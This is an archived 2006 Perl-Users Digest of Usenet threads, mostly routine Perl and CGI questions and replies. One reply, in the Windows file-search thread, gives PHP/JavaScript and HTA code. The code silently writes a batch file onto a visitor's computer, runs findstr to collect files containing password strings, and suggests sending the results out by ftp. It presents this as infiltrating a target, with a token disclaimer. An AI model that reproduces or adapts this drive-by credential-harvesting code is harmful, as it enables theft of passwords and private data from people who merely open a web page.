[28309] in Perl-Users-Digest
Perl-Users Digest, Issue: 9673 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Fri Sep 1 14:05:53 2006
Date: Fri, 1 Sep 2006 11:05:06 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Fri, 1 Sep 2006 Volume: 10 Number: 9673
Today's topics:
browser-dependent cookie behavior rallabs@adelphia.net
Re: browser-dependent cookie behavior <mritty@gmail.com>
Re: browser-dependent cookie behavior <tadmc@augustmail.com>
Re: browser-dependent cookie behavior <sbryce@scottbryce.com>
Cygwin error regarding profile.global beartiger@gmail.com
Re: Cygwin error regarding profile.global beartiger@gmail.com
Re: diff file in Perl? rj_sri@yahoo.com
Re: FAQ 7.13 What is variable suicide and how can I pre <not-for-replies@zombie.org.uk>
Help diagnosing why my program isn't trapping SIGTERM o <news@lawshouse.org>
Re: Help diagnosing why my program isn't trapping SIGTE <mritty@gmail.com>
Re: Help diagnosing why my program isn't trapping SIGTE xhoster@gmail.com
Re: How do I run the MS Windows file search program fro wjburns@gmail.com
qr// doesn't handle m modifier? adam@irvine.com
Vienna selected for YAPC::Europe 2007 <nog@MPA-Garching.MPG.DE>
Win32::SerialPort null char/0 RX/TX issue <dthusma@hotmail.com>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: 1 Sep 2006 05:25:13 -0700
From: rallabs@adelphia.net
Subject: browser-dependent cookie behavior
Message-Id: <1157113513.258838.195960@74g2000cwt.googlegroups.com>
I have a string of cgi scripts which successively set and use cookies
on the user's browser. The first page sets a 'dummy' cookie and
redirects to a second page which attempts to read the cookie and sends
the user a message if the read was unsuccessful, telling him to re-set
their browser to accept cookies. My problem is that with Internet
Explorer, even when it is set up properly to accept cookies, and even
though it successfully passes through the cookie test, it loses one of
the cookies when it tries to read it in a later page. It returns a
null for that cookie and that cookie only. The cookie does not have a
weird name; it is named PT. It is very frustrating because Firefox
proceeds along through the entire chain of scripts and does not lose
the cookie. I have tried it on Internet Explorer using several
different PC computers. I didn't copy down all the version numbers,
but on this computer it is
version 6.0.2900.2180.xpsp_sp2_gdr.050301-1519
One thing I don't know how to do as a new cgi scripter is to examine
the IE cookies. There's a folder on my computer named 'cookies' whose
only file is called 'index' but it's unreadable. I know how to look at
the cookies in Firefox, but it behaves properly anyway. My IE settings
are to accept all cookies from all sites.
This is a Perl question and I am posting it on a Perl newsgroup so
don't dump on me if you don't think it adheres closely enough to your
standards for posting.
------------------------------
Date: 1 Sep 2006 05:38:39 -0700
From: "Paul Lalli" <mritty@gmail.com>
Subject: Re: browser-dependent cookie behavior
Message-Id: <1157114319.339920.185200@i3g2000cwc.googlegroups.com>
rallabs@adelphia.net wrote:
<snip non-Perl-related question>
> This is a Perl question
No. It's not.
> and I am posting it on a Perl newsgroup so
> don't dump on me if you don't think it adheres closely enough to your
> standards for posting.
The fact that your CGI script happens to be written in Perl does not
make a question about two different browsers behaving differently into
a Perl question. Your question would be the same regardless of what
language you used to write your CGI program.
Now, if you're doing something *wrong* in your Perl code that is
causing one browser to behave differently (perhaps because one
tolerates your wrong code while the other does not), then that *might*
be a Perl question, but the only way to determine that would be if you
were to post your code, which you did not do.
As for those "standards for posting" that you're so keen to
sarcastically refer to, have you actually *read* them?
Paul Lalli
------------------------------
Date: Fri, 1 Sep 2006 08:44:06 -0500
From: Tad McClellan <tadmc@augustmail.com>
Subject: Re: browser-dependent cookie behavior
Message-Id: <slrnefge96.cuj.tadmc@magna.augustmail.com>
rallabs@adelphia.net <rallabs@adelphia.net> wrote:
> One thing I don't know how to do as a new cgi scripter is to examine
> the IE cookies.
> This is a Perl question
No it isn't.
Internet Explorer is not written in Perl.
> and I am posting it on a Perl newsgroup so
> don't dump on me
No dumping, just killfiling.
> if you don't think it adheres closely enough to your
> standards for posting.
So long!
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: Fri, 01 Sep 2006 09:01:46 -0600
From: Scott Bryce <sbryce@scottbryce.com>
Subject: Re: browser-dependent cookie behavior
Message-Id: <h7ednf7lSLHF1mXZnZ2dnUVZ_s2dnZ2d@comcast.com>
rallabs@adelphia.net wrote:
> This is a Perl question
How Internet Explorer handles cookies has nothing to do with Perl.
> and I am posting it on a Perl newsgroup
You would probably have better luck posting in a CGI newsgroup.
> so don't dump on me if you don't think it adheres closely enough to
> your standards for posting.
Being rude won't endear you to anybody here.
------------------------------
Date: 1 Sep 2006 09:28:53 -0700
From: beartiger@gmail.com
Subject: Cygwin error regarding profile.global
Message-Id: <1157128133.838777.266080@b28g2000cwb.googlegroups.com>
This post is simply to document the solution to a cygwin error so that
those who have the same issue can find the solution when they do a
Google Groups search. Please do not flame me for posting this here.
If you object to the presence of this post here, the best thing you can
do at this point is ignore it, and it will soon drop off your radar.
I've installed cygwin on various machines over the years and never
gotten this error until today when I tried installing cygwin on a new
machine. The error is:
"bash: can't find configuration file
/usr/local/etc/profile.global"
There is no such configuration file in cygwin, and this error is
misleading. If you receive this error it means that your HOME system
variable is not set. This procedure describes setting the HOME
variable on an XP machine.
1. Launch the Control Panel:
Go to Start | Settings | Control Panel.
2. Launch the System Properties dialog from the Control Panel.
Category view:
Click "Performance and Maintenence", then "See basic information about
your computer".
Classic view:
Double click the System icon.
3. Set the HOME variable.
On the System Properties dialog, click the Advanced tab. Then click
the Environment Variables button to launch the Environment Variables
dialog.
Under System variables, click the New button. Next to Variable name,
enter HOME. Next to Variable value, enter a path to the folder you
wish to set as your home directory. For example:
C:\Documents and Settings\<user_name>\My Documents\cygwin_home
Click OK to dismiss the Environment Variables dialog and then OK to
dismiss System Properties dialog.
4. Rerun Cygwin.
Best regards,
John
------------------------------
Date: 1 Sep 2006 09:32:08 -0700
From: beartiger@gmail.com
Subject: Re: Cygwin error regarding profile.global
Message-Id: <1157128328.212514.283580@74g2000cwt.googlegroups.com>
For some reason, a carriage return crept into that error message. Here
it is:
"bash: can't find configuration file /usr/local/etc/profile.global"
bearti...@gmail.com wrote:
> This post is simply to document the solution to a cygwin error so that
> those who have the same issue can find the solution when they do a
> Google Groups search. Please do not flame me for posting this here.
> If you object to the presence of this post here, the best thing you can
> do at this point is ignore it, and it will soon drop off your radar.
>
> I've installed cygwin on various machines over the years and never
> gotten this error until today when I tried installing cygwin on a new
> machine. The error is:
>
> "bash: can't find configuration file
> /usr/local/etc/profile.global"
>
> There is no such configuration file in cygwin, and this error is
> misleading. If you receive this error it means that your HOME system
> variable is not set. This procedure describes setting the HOME
> variable on an XP machine.
>
> 1. Launch the Control Panel:
>
> Go to Start | Settings | Control Panel.
>
> 2. Launch the System Properties dialog from the Control Panel.
>
> Category view:
> Click "Performance and Maintenence", then "See basic information about
> your computer".
>
> Classic view:
> Double click the System icon.
>
> 3. Set the HOME variable.
>
> On the System Properties dialog, click the Advanced tab. Then click
> the Environment Variables button to launch the Environment Variables
> dialog.
>
> Under System variables, click the New button. Next to Variable name,
> enter HOME. Next to Variable value, enter a path to the folder you
> wish to set as your home directory. For example:
>
> C:\Documents and Settings\<user_name>\My Documents\cygwin_home
>
> Click OK to dismiss the Environment Variables dialog and then OK to
> dismiss System Properties dialog.
>
> 4. Rerun Cygwin.
>
>
>
> Best regards,
> John
------------------------------
Date: 1 Sep 2006 06:02:15 -0700
From: rj_sri@yahoo.com
Subject: Re: diff file in Perl?
Message-Id: <1157115735.783368.197820@p79g2000cwp.googlegroups.com>
Hi Davy,
You have several ways of doing this.
1. You can have two arrays with the contents of two different files.
Then compare the arrays either with your own program or with a CPAN
module.
2. This will be a smart way, if you want to compare bulky files. Using
Text::Diff. This provides the basic services like the diff in Unix. But
this is really slower when you are using larger files.
Thanks,
Sriram
Davy wrote:
> Hi all,
>
> Is there something in Perl like diff in Unix? That I can used to diff
> the file. Thanks!
>
> Thanks!
> Davy
------------------------------
Date: Fri, 01 Sep 2006 15:54:54 GMT
From: Brian Greenfield <not-for-replies@zombie.org.uk>
Subject: Re: FAQ 7.13 What is variable suicide and how can I prevent it?
Message-Id: <sllgf2pi40iterkq2g9o9d0bdod0h1esjh@4ax.com>
On Thu, 31 Aug 2006 00:03:03 -0700, PerlFAQ Server
<brian@stonehenge.com> wrote:
>7.13: What is variable suicide and how can I prevent it?
>
> This problem was fixed in perl 5.004_05, so preventing it means
> upgrading your version of perl. ;)
>
> Variable suicide is when you (temporarily or permanently) lose the value
> of a variable. It is caused by scoping through my() and local()
> interacting with either closures or aliased foreach() iterator variables
> and subroutine arguments. It used to be easy to inadvertently lose a
> variable's value this way, but now it's much harder. Take this code:
>
> my $f = 'foo';
> sub T {
> while ($i++ < 3) { my $f = $f; $f .= $i; print $f, "\n" }
> }
> T;
> print "Finally $f\n";
>
> If you are experiencing variable suicide, that "my $f" in the subroutine
> doesn't pick up a fresh copy of the $f whose value is <foo>. The output
> shows that inside the subroutine the value of $f leaks through when it
> shouldn't, as in this output:
>
> foobar
> foobarbar
> foobarbarbar
> Finally foo
foo1
foo12
foo123
Finally foo
surely?
> The $f that has "bar" added to it three times should be a new $f "my $f"
> should create a new lexical variable each time through the loop. The
> expected output is:
>
> foobar
> foobar
> foobar
> Finally foo
foo1
foo2
foo3
Finally foo
------------------------------
Date: Fri, 01 Sep 2006 17:07:15 +0100
From: Henry Law <news@lawshouse.org>
Subject: Help diagnosing why my program isn't trapping SIGTERM on shutdown
Message-Id: <1157126833.41438.0@iris.uk.clara.net>
I have a program which runs in the background, doing its thing. When it
receives a SIGTERM it will tidy up and then exit. In test - running it
from a TTY, either in foreground or background, it behaves as expected.
But when I restart Linux (Fedora Core 4, using 'shutdown -r now') the
code that traps SIGTERM isn't executed, despite the Linxu manual
specifically saying that SIGTERM is passed to running processes. Can
someone who has encountered the problem help me to diagnose it? (I am
aware that it might turn out to be a Linux problem, in which case I'll
take it somewhere else ...!)
Here's the core of the code, called clpm.pl
#! /usr/bin/perl
use strict;
use warnings;
use Sys::Syslog;
use sigtrap 'handler' => \&terminate, 'normal-signals';
my $loop_count = 0;
my $timer = 0;
my $sleep_size = 10;
my $loop_size = 6;
openlog 'clpm.pl', 'cons,pid', 'user';
syslog 'info', 'starting up';
while (1) {
while (++$loop_count < $loop_size) {
sleep $sleep_size;
}
$timer += $loop_count*$sleep_size;
$loop_count = 0;
syslog 'info', "Running for $timer seconds";
}
syslog 'info', 'How did we get here?';
sub terminate {
syslog 'info', 'Normal signal received';
exit 0;
}
Here's the appropriate bit of the system log when I send signals manually:
Here's where CRON starts the task
Sep 1 16:43:01 neptune crond(pam_unix)[2263]: session opened for user
nfb by (uid=0)
Sep 1 16:43:02 neptune clpm.pl[2264]: starting up
Then I do "kill -TERM 2264" from a TTY and ...
Sep 1 16:43:29 neptune clpm.pl[2264]: Normal signal received
Sep 1 16:43:29 neptune crond(pam_unix)[2263]: session closed for user nfb
... that's where it handles the signal and stops.
But here's the system log when I reboot the machine with the "shutdown"
command:
Sep 1 16:45:02 neptune crond(pam_unix)[2283]: session opened for user
nfb by (uid=0)
Sep 1 16:45:02 neptune clpm.pl[2284]: starting up
... lines deleted
Sep 1 16:45:52 neptune clpm.pl[2284]: Running for 60 seconds
It was definitely running ...
Sep 1 16:46:15 neptune shutdown: shutting down for system reboot
Sep 1 16:46:15 neptune init: Switching to runlevel: 6
Sep 1 16:46:17 neptune xfs[1575]: terminating
Sep 1 16:46:19 neptune nmbd[1595]: [2006/09/01 16:46:19, 0]
nmbd/nmbd.c:terminate(56)
Sep 1 16:46:19 neptune nmbd[1595]: Got SIGTERM: going down...
... etc until the reboot happens. clpm.pl just vanishes!
Perl version is 5.8.6 running on Intel.
--
Henry Law <>< Manchester, England
------------------------------
Date: 1 Sep 2006 10:00:49 -0700
From: "Paul Lalli" <mritty@gmail.com>
Subject: Re: Help diagnosing why my program isn't trapping SIGTERM on shutdown
Message-Id: <1157130049.263142.201170@i42g2000cwa.googlegroups.com>
Henry Law wrote:
> I have a program which runs in the background, doing its thing. When it
> receives a SIGTERM it will tidy up and then exit. In test - running it
> from a TTY, either in foreground or background, it behaves as expected.
> But when I restart Linux (Fedora Core 4, using 'shutdown -r now') the
> code that traps SIGTERM isn't executed, despite the Linxu manual
> specifically saying that SIGTERM is passed to running processes. Can
> someone who has encountered the problem help me to diagnose it? (I am
> aware that it might turn out to be a Linux problem, in which case I'll
> take it somewhere else ...!)
er. I may be missing something, but it sounds like you've *already*
determined it's a Linux problem, not a Perl problem. But to check,
write a program in another language, say C for example. Trap SIGTERM
there. Call it in *exactly* the same manner that you call your current
Perl program. Does its signal handling code receive a SIGTERM on Linux
shutdown?
Paul Lalli
------------------------------
Date: 01 Sep 2006 17:33:41 GMT
From: xhoster@gmail.com
Subject: Re: Help diagnosing why my program isn't trapping SIGTERM on shutdown
Message-Id: <20060901133411.098$E6@newsreader.com>
Henry Law <news@lawshouse.org> wrote:
> I have a program which runs in the background, doing its thing. When it
> receives a SIGTERM it will tidy up and then exit. In test - running it
> from a TTY, either in foreground or background, it behaves as expected.
> But when I restart Linux (Fedora Core 4, using 'shutdown -r now') the
> code that traps SIGTERM isn't executed, despite the Linxu manual
> specifically saying that SIGTERM is passed to running processes. Can
> someone who has encountered the problem help me to diagnose it? (I am
> aware that it might turn out to be a Linux problem, in which case I'll
> take it somewhere else ...!)
What happens if you send warnings into your own file, rather than using
syslogd?
Xho
--
-------------------- http://NewsReader.Com/ --------------------
Usenet Newsgroup Service $9.95/Month 30GB
------------------------------
Date: 1 Sep 2006 09:18:25 -0700
From: wjburns@gmail.com
Subject: Re: How do I run the MS Windows file search program from html
Message-Id: <1157127505.133677.18060@p79g2000cwp.googlegroups.com>
The Magpie wrote:
> Ray Muforosky wrote:
> >
> > Task: I want to do file search, using the "conatining text" option from
> > a web page.
Most modern browsers have implemented a cross domain access policy for
client side scripting
making it near impossible to effectively achieve this task with
standard HTML.
MSIE's HyperText Applications (*.HTA) on the other hand is a much more
promiscuous doctype and
can access the coveted protected local domain.
Furthermore .exe's can be arbitrarily executed from .HTA's in IE.
> > How do I search for a file on my local drive containing a certain
> > string, from a web page.
The XP command line to search for a string (in this case strings with
words starting with pass) and save the results would be something
like:
findstr /p /i /s "\<pass.*" c:\*.* > c:\pass.txt
Full syntax reference:
http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/findstr.mspx
Still at this point even though we can pop open an exe via script in
IE's chromeless client how are we going to pass the command line switch
variables ?
All those slashes and wildcards don't look like they'd make very good
tag soup.. maybe encode it. Dunno if the direct approach would work too
smoothly though.
> > That is, how do run the windows search program
> > from a web page.
> >
> Not, I am sure, by using Javascript - so I am afraid you will probably
> need to ask in a Microsoft newsgroup.
A possible workaround is to pass the command switchs via file
encapsulation and deliver it via a local file exploit (created by
SPTH)~
Use PHP & JavaScript to write a local bat (on your targets compouter)
containing your findstr search line, and then in theory auto refresh to
an .HTA which executes the local .bat with VBScript ..
File: search.php
<?
$nl=chr(13).chr(10);
echo '<html><head>';
echo '<script language='.chr(34).'JavaScript'.chr(34).'>'.$nl;
echo 'function go(){'.$nl;
echo 'var fso=new
ActiveXObject('.chr(34).'Scripting.FileSystemObject'.chr(34).')'.$nl;
echo 'var
file=fso.CreateTextFile('.chr(34).'C:\\\search.bat'.chr(34).')'.$nl;
$cont="findstr /p /i /s \"\<pass.*\" c:\*.* > c:\pass.txt";
$i=0;$nc='';
echo 'file.Write(';
while ($i<strlen($cont)){
echo 'String.fromCharCode('.ord($cont{$i}).')+';
$i++;
}
echo chr(34).chr(34).')'.$nl;
echo 'file.Close()}'.$nl;
echo '</script>';
echo '<meta http-equiv=refresh content=15
url='.chr(34).'run.hta'.chr(34).'>';
echo '</head>';$nl.$nl;
?>
<body language="JavaScript" onload="go()"></body></html>
Code lifted and warped from: http://vx.netlux.org/lib/vsp13.html
File: run.hta
<html>
<head>
<HTA:APPLICATION ID="HTA"
VERSION="1.0"
APPLICATIONNAME="RemoteSearch"
BORDER="thin"
BORDERSTYLE="normal"
CAPTION="yes"
CONTEXTMENU="no"
ICON=""
INNERBORDER="yes"
MAXIMIZEBUTTON=no"
MINIMIZEBUTTON="no"
NAVIGABLE="yes"
SCROLL="no"
SCROLLFLAT="yes"
SELECTION="yes"
SHOWINTASKBAR="yes"
SINGLEINSTANCE="yes"
SYSMENU="yes"
WINDOWSTATE="normal"
/>
<script language="VBScript">
Dim objShell
Sub Run(Name)
Set objShell = CreateObject("WScript.Shell")
objShell.Run Name
On Error Resume Next
Set objShell = Nothing
End Sub
</script>
</head>
<body onload="javascript:Run('file://C:/search.bat');"></body></html>
Code lifted and warped from:
http://www.experts-exchange.com/Web/Web_Languages/Q_20709676.html
So there we go (it's not tested but the example is based on working
concepts)..
We've infiltrated, searched and even logged the results.. now all you
have to do is recover the data (perhaps via another line in the bat to
ftp the file)..
The above php/js exploit should write local files without warning.. hta
files on the other hand pop up an alert box while loading.. plus any
clever malware scanner would probably spot or prevent the process.
You may be able to write the .hta locally and then load it to get
around the warning.. or maybe not.. either way it's going to be mighty
obvious when the dos box pops up for a few seconds (or minutes if
you're searching alot of local sub-directories).
Disclaimer: The examples are provided for entertainment / edu only. I
take no responsibility for how you implement this code, if it violates
your hosts TOS or if it destroys your computer or the computer of any
user that YOU subject to it's wrath. If I were you I'd accept that it's
a bad idea and totally against general net etiquette; an obvious
violation of privacy, and could potentially get you arrested very
quickly.
------------------------------
Date: 1 Sep 2006 10:57:38 -0700
From: adam@irvine.com
Subject: qr// doesn't handle m modifier?
Message-Id: <1157133458.532120.303260@p79g2000cwp.googlegroups.com>
The following program doesn't do what I expected. The second and third
"print" statements print, but the first one doesn't. It looks as
though when the match operator uses a regular expression constructed
with qr//, the "m" modified that should have been stored in the regular
expression is ignored. Did I do something wrong, or is this a bug in
Perl? perl -v says 5.005_03.
-- thanks, Adam
$pat = "a\$";
$re = qr/$pat/m;
$s = "a\nb";
print "Matches with qr\n" if $s =~ /$re/;
print "Matches without qr\n" if $s =~ /$pat/m;
print "Matches with qr and m flag\n" if $s =~ /$re/m;
------------------------------
Date: Fri, 1 Sep 2006 16:31:38 +0000 (UTC)
From: Norbert Gruener <nog@MPA-Garching.MPG.DE>
Subject: Vienna selected for YAPC::Europe 2007
Message-Id: <20060901163138.GA25018@ncb-2.MPA-Garching.MPG.DE>
Vienna selected for YAPC::Europe 2007
YAPC::Europe Foundation (http://www.yapceurope.org) is pleased to announce
that Vienna, Austria has been chosen as the site for the YAPC::Europe 2007,
the eigth European YAPC.
Vienna faced tough competition from Lyon, France and Pisa, Italy, and
we hope that these groups will give us the opportunity to consider their
proposals again in the future.
We are confident that Vienna.pm's experienced team--which was responsible
for several Austrian Perl Workshops--will put together a wonderful conference.
The theme for the next YAPC::Europe will be 'Social Perl'.
We hope to see you in Vienna next summer!
--
Norbert Gruener (President)
for YAPC Europe Foundation (YEF)
------------------------------
Date: 1 Sep 2006 05:25:57 -0700
From: "gluphus" <dthusma@hotmail.com>
Subject: Win32::SerialPort null char/0 RX/TX issue
Message-Id: <1157113557.021151.153980@h48g2000cwc.googlegroups.com>
1. I am using Win32::SerialPort to communicate with an MCU.
My Win32::SerialPort will hang when it tries to read a 0 from the MCU
using
the following snippet of code:
my $pkt = 0x00;
print "$app_name|S|$pkt\n";
$PortObj->lookclear;
$PortObj->write($pkt);
$waitstr = waitfor(1);
$waitstr=~s/\n|\r//g;
print "$app_name|$ctime|->got back $waitstr\n";
$PortObj->lookclear;
which calls:
sub waitfor {
my $timeout=$PortObj->get_tick_count + (1000 * shift);
$PortObj->lookclear; # clear buffers
my $gotit = "";
for (;;) {
return unless (defined ($gotit = $PortObj->read(1)));
if ($gotit ne "") {
my ($found, $end) = $PortObj->lastlook;
return $gotit.$found;
}
return if ($PortObj->reset_error);
return if ($PortObj->get_tick_count > $timeout);
}
}
2. Also, often when it rcvs a buffer of text, it will omit the 0 when
processing to STDOUT
(it seems like it is ignoring or processing the 0's as some sort of
null char) using the following code:
RC1: while ($tmout > 0) {
my ($cnt,$saw)=$PortObj->read(255);
if ($cnt>0) {
$chars+=$count;
$ret_buffer.=$saw;
if ($ret_buffer=~/EOT/ ) {
.....
Can someone tell me what needs to be done to properly process the
0/null char within Serial Port?
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
#The Perl-Users Digest is a retransmission of the USENET newsgroup
#comp.lang.perl.misc. For subscription or unsubscription requests, send
#the single line:
#
# subscribe perl-users
#or:
# unsubscribe perl-users
#
#to almanac@ruby.oce.orst.edu.
NOTE: due to the current flood of worm email banging on ruby, the smtp
server on ruby has been shut off until further notice.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
#To request back copies (available for a week or so), send your request
#to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
#where x is the volume number and y is the issue number.
#For other requests pertaining to the digest, send mail to
#perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
#sending perl questions to the -request address, I don't have time to
#answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 9673
***************************************
